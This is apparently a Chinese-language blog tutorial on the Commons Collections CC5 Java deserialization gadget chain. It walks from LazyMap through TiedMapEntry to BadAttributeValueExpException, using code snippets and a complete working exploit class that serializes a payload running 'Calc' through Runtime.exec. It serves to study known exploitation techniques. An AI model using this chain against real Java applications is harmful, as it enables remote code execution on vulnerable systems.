参考链接
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java
环境搭建
Commons.Collections 3.2.1
jdk8u65
利用链分析
后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
|
Exp编写
LazyMap.get()
这里复习一下CC1-LazyMap,通过lazyMap.get(“xxx”);即可触发命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class TestCC5 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key1","value1"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get("Jasper"); } }
|
TiedMapEntry.toString()
toString()会调用到map.get(key),通过构造函数设置map=lazyMap即可接上链条。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper"); tiedMapEntry.toString();
|
BadAttributeValueExpException.readObject()
这里有现成的toString方法,只需要把val给改成tiedMapEntry就好,而这个val是反序列化的时候获得的序列化流里的名字为”val”的Field,这里我们把他设置成tiedMapEntry就行。
需要注意在BadAttributeValueExpException的**构造函数里也会执行val.toString()**,为了避免在反序列化前就触发链条,我们不在构造函数里设置val,我们还是用老方法,先改空值,再改回去。
- BadAttributeValueExpException的构造函数传null,val赋值为null,获得badAttributeValueExpException对象
- 通过反射badAttributeValueExpException设置对象的val值
1 2 3 4 5 6
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class clazz = BadAttributeValueExpException.class; Field valField = clazz.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry);
|
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| public class TestCC5 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class clazz = BadAttributeValueExpException.class; Field valField = clazz.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException); unserialize();
} public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } }
|
总结
本质就是在LazyMap.get()的基础上换了个入口类,可以和CC1-LazyMap、CC6对比着看。